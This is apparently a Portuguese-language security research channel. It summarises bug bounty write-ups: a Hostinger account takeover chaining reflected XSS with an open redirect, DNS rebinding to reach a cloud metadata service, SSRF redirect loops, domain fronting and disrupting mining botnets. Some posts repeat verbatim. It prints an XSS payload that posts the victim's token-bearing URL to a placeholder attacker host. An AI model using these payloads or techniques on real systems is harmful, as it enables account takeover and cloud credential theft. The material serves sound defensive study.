A escalada de impacto de uma vulnerabilidade pode ser demonstrada pelo caso de Account Takeover na Hostinger. A exploração encadeou duas falhas distintas:
* Um Reflected XSS em um subdomínio de baixo impacto e FORA do escopo: marketing.hostinger.com.
* Uma Validação de Redirecionamento Imprópria no sistema de autenticação (auth.hostinger.com), que permitia redirecionar para o subdomínio vulnerável por ele estar em uma whitelist.
O ataque consistiu em criar uma URL para o sistema de autenticação que, após o login da vítima, a redirecionava para a página com o XSS. O próprio sistema de login anexava o auth_token da sessão do usuário à URL de redirecionamento.
Ao carregar a página, o payload do XSS era executado para exfiltrar o token:
O script envia a URL completa (window.location), que agora continha o token, para um servidor controlado pelo atacante. A posse deste token permitia o controle total da conta da vítima (ATO).
Dessa forma, um XSS de baixo risco foi transformado em uma vulnerabilidade crítica através de uma cadeia de exploração.
Link para o relatório: https://hackerone.com/reports/3081691
* Um Reflected XSS em um subdomínio de baixo impacto e FORA do escopo: marketing.hostinger.com.
* Uma Validação de Redirecionamento Imprópria no sistema de autenticação (auth.hostinger.com), que permitia redirecionar para o subdomínio vulnerável por ele estar em uma whitelist.
O ataque consistiu em criar uma URL para o sistema de autenticação que, após o login da vítima, a redirecionava para a página com o XSS. O próprio sistema de login anexava o auth_token da sessão do usuário à URL de redirecionamento.
Ao carregar a página, o payload do XSS era executado para exfiltrar o token:
<script>fetch('URL_DO_ATACANTE', {method: 'POST', body: window.location});</script>
O script envia a URL completa (window.location), que agora continha o token, para um servidor controlado pelo atacante. A posse deste token permitia o controle total da conta da vítima (ATO).
Dessa forma, um XSS de baixo risco foi transformado em uma vulnerabilidade crítica através de uma cadeia de exploração.
Link para o relatório: https://hackerone.com/reports/3081691
O massa é a linha de raciocínio usada a cada novo obstáculo. A paciência de ler documentações. A descoberta de como tecnologias terceiras funcionam naquela integração. As correções não efetivas aplicadas pelo time. Sempre que tiver um regex, abra mais ainda os olhos
Boa leitura 🎅
https://slcyber.io/assetnote-security-research-center/how-we-got-persistent-xss-on-every-aem-cloud-site-thrice/
Tomei uma decisão hoje e resolvi investir e comprar ele. Deu 300 e poucos o PDF (acesso prévio) + versão impressa
Eu já li uma parte de um capítulo e é nítida a diferença quando um real pesquisador de segurança fala de segurança. As vezes em uma página já te da um insight pra pesquisar coisas por 1 dia inteiro.
Artigo para ler depois ++
https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/
O artigo é crucial, pois expõe "footguns" específicas e exploráveis nos parsers Go, detalhando como payloads (ex: com case variado, chaves duplicadas, formatos mistos) podem levar a bypass de segurança. Aprofunde-se no artigo para exemplos de código, explorações e a tabela de comportamentos dos parsers.
(Valeu Teles pela indicação)
https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/
O artigo é crucial, pois expõe "footguns" específicas e exploráveis nos parsers Go, detalhando como payloads (ex: com case variado, chaves duplicadas, formatos mistos) podem levar a bypass de segurança. Aprofunde-se no artigo para exemplos de código, explorações e a tabela de comportamentos dos parsers.
(Valeu Teles pela indicação)
The Trail of Bits Blog
Unexpected security footguns in Go's parsers
File parsers in Go contain unexpected behaviors that can lead to serious security vulnerabilities. This post examines how JSON, XML, and YAML parsers in Go handle edge cases in ways that have repeatedly resulted in high-impact security issues in production…
O podcast Critical Thinking acabou de lançar esse episódio:
New Research in Blind SSRF and Self-XSS, and How to Architect Source-code Review AI Bots (Ep. 128)
Onde citam a pesquisa do Shubs, que compartilhei aqui.
Tô dizendo, estar nesse grupo é só conteúdo bom pra ti hahaha. tmj
https://www.youtube.com/watch?v=jPN2GE-umJY
New Research in Blind SSRF and Self-XSS, and How to Architect Source-code Review AI Bots (Ep. 128)
Onde citam a pesquisa do Shubs, que compartilhei aqui.
Tô dizendo, estar nesse grupo é só conteúdo bom pra ti hahaha. tmj
https://www.youtube.com/watch?v=jPN2GE-umJY
Ah, e se esse grupo te ajuda, considere me pagar um café 😁☕
https://ko-fi.com/zeroc00i
https://ko-fi.com/zeroc00i
Ko-fi
Buy zeroc00i a Coffee
Become a supporter of zeroc00i today!
Galera, num artigo anterior, detalhei como a técnica de DNS Rebinding é empregada para explorar vulnerabilidades do tipo TOCTOU (Time-of-Check Time-of-Use), subvertendo validações em cenários de Server-Side Request Forgery (SSRF). Fica o link ao final para consulta.
Em um contexto prático: considere uma aplicação com uma funcionalidade de coleta de imagens externas, acessível via um parâmetro como ?url=http://siteexterno.com/imagem.png. Essa funcionalidade foi projetada para interagir com IPs externos.
Qualquer tentativa de fornecer um hostname que resolva diretamente para IPs internos (e.g., 127.0.0.1) ou para o serviço de metadados da instância cloud (e.g., 169.254.169.254) é explicitamente bloqueada pela aplicação, que retorna uma mensagem indicando que domínios resolvendo para tais IPs não são permitidos.
Nesse ponto, o DNS Rebinding se apresenta como uma técnica viável.
O objetivo é induzir a aplicação a, na etapa de check, validar um hostname que resolva para um IP externo permitido (conforme o design da funcionalidade). Subsequentemente, na etapa de use (TOU, que é quando a aplicação efetivamente tenta buscar a imagem), o mesmo hostname deve resolver para o IP do serviço de metadados (169.254.169.254), permitindo a exfiltração de dados sensíveis.
A execução envolve:
Configuração do Domínio Controlado:
Utiliza-se um domínio sob nosso controle (e.g., rebind-target.com) com um servidor DNS configurado para respostas dinâmicas e com um TTL (Time-To-Live) exíguo (e.g., 1 segundo).
Fase de Verificação (Time-of-Check):
Na consulta DNS inicial para rebind-target.com pela aplicação alvo (durante a validação da URL da imagem), nosso servidor DNS responde com um IP externamente roteável (e.g., 8.8.8.8). A aplicação, verificando que este é um IP externo, considera o domínio válido para prosseguir com a coleta da imagem.
Fase de Rebinding e Uso (Time-of-Use):
Imediatamente após a primeira resolução ser atendida, o servidor DNS sob nosso controle altera o registro A/AAAA de rebind-target.com para o IP do serviço de metadados (169.254.169.254). Quando a aplicação procede para estabelecer a conexão HTTP para buscar a "imagem", o TTL baixo provavelmente forçará uma nova consulta DNS, ou o cache local do resolver já terá expirado. Esta nova consulta retornará o IP 169.254.169.254.
Dessa forma, a aplicação estabelece uma conexão com o serviço de metadados, sob a premissa de estar interagindo com um host externo para buscar uma imagem.
Como resultado, os dados retornados pelo serviço de metadados, como um access_token da instância cloud, são exfiltrados e podem ser apresentados na resposta da aplicação que originalmente esperava o conteúdo de uma imagem, efetivamente comprometendo a segurança da instância.
O artigo original aprofunda com cenários de exploração e o impacto real.
Artigo: https://medium.com/@bminossi/dns-rebinding-um-caso-de-race-condition-f0360d94a828
Pesquisadores desenvolveram métodos para desativar botnets de mineração de criptomoedas, explorando o funcionamento dos pools de mineração:
-> "Bad Shares" (Compartilhamentos Inválidos): A técnica consiste em conectar-se ao proxy de mineração utilizado pelo atacante e enviar deliberadamente um grande volume de resultados de mineração inválidos ("bad shares").Como o proxy repassa esses dados ao pool de mineração, o pool identifica o comportamento anômalo e bane o proxy do atacante, paralisando a operação da botnet vinculada a ele.
-> Sobrecarga de Conexões na Carteira: Quando os mineradores da botnet se conectam diretamente a um pool público (sem proxy), os pesquisadores iniciam um número excessivo de tentativas de login simultâneas usando a ID da carteira do atacante.
Muitos pools têm políticas para banir temporariamente carteiras com um volume anormal de conexões (ex: mais de 1000 "workers"), o que interrompe a mineração para o atacante.
O objetivo dessas táticas é neutralizar as campanhas de mineração maliciosas, forçando os operadores das botnets a reconfigurar sua infraestrutura ou abandonar a campanha, sem interferir nas operações legítimas dos pools.
https://thehackernews.com/2025/06/researchers-find-way-to-shut-down.html
Se alguem falar que nós só aprende vendo vídeo do youtube.
Tira um tempo e le esse paper academico de domain fronting:
https://arxiv.org/pdf/2310.17851
Tô aprendendo a usar o arxiv, ele é muito bom e muito utilizado pela comunidade de pesquisa.
Já to pensando (acho que não vou codar) se existe alguma ferramenta que monitore novos artigos e ajuda a minerar possíveis tópicos mais interessantes. Aquele advanced search não parece tão efetivo.
Tira um tempo e le esse paper academico de domain fronting:
https://arxiv.org/pdf/2310.17851
Overall, we found domain fronting to still
work in 73% (22 out of 30) of the CDNs we tested.
Tô aprendendo a usar o arxiv, ele é muito bom e muito utilizado pela comunidade de pesquisa.
Já to pensando (acho que não vou codar) se existe alguma ferramenta que monitore novos artigos e ajuda a minerar possíveis tópicos mais interessantes. Aquele advanced search não parece tão efetivo.
Veio do Bug Bounty Reports Explained, então é confiável e com grande valor / profundidade
https://youtu.be/9tNUPpB1gto
Em resumo ele mostra um cenário que tinham um SSRF blind e através de um script que subiram num host externo e que fazia 5 redicionamentos, apos o quinto a aplicação estourava um erro, o que auxiliou ele a aumentar o impacto do achado.
Vou até testar isso em um cenário que eu tenho aqui, vai que né.
Vou até testar isso em um cenário que eu tenho aqui, vai que né.
https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/
This drove us nuts. Was there something special about the 305 status code? Even though we performed a redirect from 301 to 310, why did we only get the HTTP responses from status code 305 and beyond?
Was this an issue with libcurl? After extensive analysis of the libcurl source code and this application’s binary, we don’t think so.
Instead, we believe that the application was happy to follow a few redirects (and failing on JSON parsing) and was not happy about following more than the max redirects configured for libcurl. However, there was an error state when it followed more than five redirects, not handled by libcurl but rather by the application itself.
"Nenhuma decisão importante sobre o kernel foi tomada, mas talvez no próximo jantar 😉"
Achei fera porque já peguei esse comportamento esses tempos em bugbounty e não entendia muito bem por que ele ocorrida, achei que era algum load balancer envolvido.
Procurando pelo termo domain fronting cai em uma apresentação na defcon muito interessante:
https://cendyne.dev/posts/2023-09-08-domain-fronting-through-azure-and-cloudflare.html
Hoje o dia foi corrido, mas esse é o estudo de hoje.
Cheers,
Com Jason Haddix e promovido pela TCM
Treinamento/ Workshio gratuito de Operationalizing Cybercrime Data for Red Teams & Offensive Ops!
Se registre em:
https://flare.registration.goldcast.io/webinar/1e64a56c-d31e-4481-afe3-9b8f40ad07be
